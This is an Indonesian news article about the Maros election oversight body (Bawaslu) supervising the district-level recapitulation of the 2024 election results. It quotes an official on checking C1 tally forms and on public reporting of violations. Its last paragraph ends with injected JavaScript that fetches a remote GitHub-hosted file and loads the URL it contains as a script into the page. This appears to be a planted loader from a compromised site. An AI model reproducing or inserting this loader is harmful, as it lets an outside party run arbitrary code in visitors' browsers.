Bawaslu Maros Awasi Ketat Proses Rekapitulasi Hasil Pemilu Tingkat Kabupaten

banner 468x60

Bawaslu Maros melakukan Pengawasan Rekapitulasi Hasil Pemilihan Umum di Aula Kantor KPU Kabupaten Maros, 28 Februari 2024, di Kantor KPU Kabupaten Maros.

Pengawasan terhadap rekapitulasi hasil pemilihan umum (Pemilu) di Aula Kantor KPU Kabupaten Maros merupakan bagian penting untuk memastikan proses demokrasi berjalan dengan adil dan transparan.

“Bawaslu Kabupaten Maros Bertugas mengawasi seluruh tahapan rekapitulasi, termasuk verifikasi hasil penghitungan suara dari tingkat KPPS, PPS, dan PPK. Bawaslu dapat melakukan koreksi dan meminta penghitungan ulang jika ditemukan ketidaksesuaian,” ujar Anggota Bawaslu Kabupaten Maros, Saiyed Mahmuddin Assaqqaf.

Panwascam, lanjutnya, membantu Bawaslu dalam pengawasan di tingkat kecamatan. Sementara Partai Politik Peserta Pemilu memiliki hak untuk mengawasi rekapitulasi dan mengajukan keberatan jika menemukan pelanggaran.

“Pengawasan Verifikasi Hasil Penghitungan Suara, Bawaslu Maros memeriksa keabsahan formulir C1 dan C1 plano dari KPPS. Bawaslu perlu melakukan verifikasi ketat terhadap formulir C1 dan C1 plano. Bawaslu perlu menjaga independensi dan profesionalisme dalam menjalankan tugasnya,” tambah Kordinator Divisi Hukum, Pencegahan, Parmas dan Humas Bawaslu Maros tersebut.

Masyarakat dapat berperan aktif dalam mengawasi rekapitulasi hasil Pemilu dengan melaporkan kepada Bawaslu jika menemukan pelanggaran. Pengawasan yang ketat dan partisipasi aktif masyarakat akan membantu menjaga demokrasi yang adil dan transparan, dengan memantau informasi resmi dari KPU dan Bawaslu. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *